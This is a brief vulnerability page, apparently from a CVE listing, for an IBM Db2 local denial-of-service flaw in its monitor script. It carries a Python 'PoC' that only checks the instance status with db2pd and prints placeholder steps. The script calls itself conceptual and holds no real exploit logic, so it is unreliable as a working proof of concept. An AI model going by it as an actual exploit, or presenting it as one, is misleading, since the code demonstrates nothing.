CVE-2025-36136 | IBM Db2 数据库监控脚本本地拒绝服务漏洞

# CVE-2025-36136 PoC - IBM Db2 Local DoS via Monitor Script # This PoC demonstrates how local user can trigger the monitor script issue # Note: Actual exploitation requires specific conditions and DB2 environment import subprocess import time import os def check_db2_instance_status(): """Check if DB2 instance is in problematic state""" try: # Check DB2 instance status using db2pd or similar tool result = subprocess.run( ['db2pd', '-instances'], capture_output=True, text=True, timeout=10 ) return result.stdout except Exception as e: return f"Error checking instance: {e}" def trigger_monitor_script_issue(): """ Trigger the monitor script condition that causes incorrect 'instance still starting' detection Note: This is a conceptual PoC. Actual exploitation requires: 1. Local access to the DB2 server 2. Specific DB2 version (11.5.0-11.5.9 or 12.1.0-12.1.3) 3. Ability to manipulate instance state """ print("[*] CVE-2025-36136 - IBM Db2 Monitor Script DoS PoC") print("[*] Target: IBM Db2 11.5.x / 12.1.x") # Step 1: Verify DB2 installation print("\n[1] Checking DB2 installation...") instance_info = check_db2_instance_status() print(f"Instance info: {instance_info}") # Step 2: Attempt to trigger the condition print("\n[2] Attempting to trigger monitor script issue...") print("[*] This requires specific conditions to be met:") print(" - DB2 instance in transitional state") print(" - Monitor script running with specific timing") # Step 3: Monitor for denial of service print("\n[3] Monitoring for DoS condition...") print("[*] If monitor script incorrectly detects 'still starting':") print(" - Database may become unresponsive") print(" - Connection attempts may fail") print(" - Service availability is compromised") return True if __name__ == "__main__": trigger_monitor_script_issue()